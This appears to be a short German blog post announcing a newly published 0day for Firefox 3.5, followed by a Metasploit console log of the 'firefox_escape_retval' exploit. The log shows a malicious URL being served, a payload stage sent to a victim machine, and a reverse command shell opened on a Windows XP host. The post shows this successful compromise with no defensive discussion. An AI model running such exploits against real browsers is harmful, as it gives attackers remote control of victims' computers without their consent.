Gestern wurde bei milw0rm ein 0day Exploit für die aktuelle Version von Firefox 3.5 veröffentlicht.

msf exploit(firefox_escape_retval) > exploit
[*] Exploit running as background job.
msf exploit(firefox_escape_retval) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://192.168.1.102:80/test2
[*] Server started.
[*] Sending Firefox 3.5 escape() Return Value Memory Corruption to 192.168.1.101:2950...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.1.102:4444 -> 192.168.1.101:2951)
msf exploit(firefox_escape_retval) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:ProgrammeMozilla Firefox>